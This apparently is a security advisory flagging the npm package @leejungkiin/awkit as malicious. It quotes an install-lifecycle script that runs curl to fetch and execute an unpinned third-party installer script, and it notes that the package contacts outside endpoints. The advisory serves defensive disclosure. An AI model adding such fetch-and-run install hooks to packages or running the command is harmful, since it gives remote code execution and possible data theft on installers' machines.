🛡️ MAL-2026-13427 — awkit

⚪ Unknown ✅ No Known Exploit OSV
N/A
CVSS Score
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Description

Malicious code in @leejungkiin/awkit (npm)

Source: amazon-inspector

The package ships scripts/dependency-manager.js which, when run as part of the install lifecycle, invokes execSync('curl -fsSL https://raw.githubusercontent.com/rtk-ai/rtk/refs/heads/master/install.sh...') to fetch and execute an installer script from the rtk-ai/rtk repository on a mutable master branch. The fetched shell script is not pinned to a commit or hash and is controlled by a third-party GitHub account whose relationship to the @leejungkiin scope is not established. The same script also contacts https://www.rtk-ai.app and reads platform/home-directory information (os.homedir(), process.platform) during its operation. Because npm executes lifecycle scripts on install, this results in remote code execution from an unpinned, third-party-controlled source on the installer's machine, and the fetched code has full shell privileges to modify the environment, install further binaries, or exfiltrate host data. Additional bundled code (bin/awk.js, scripts/model-manager.js) combines child_process usage with hardcoded HTTP POST/fetch endpoints in a minified bundle.

Details

Severity Unknown
CVSS Score N/A
CVSS Vector N/A
CWE N/A
Public Exploit ✅ No
Source OSV
Published 2026-08-06
Updated 2026-08-12
Modified 2026-08-06
Fix URL N/A

Affected Packages

Software From version Fixed in
@leejungkiin/awkit — —

References

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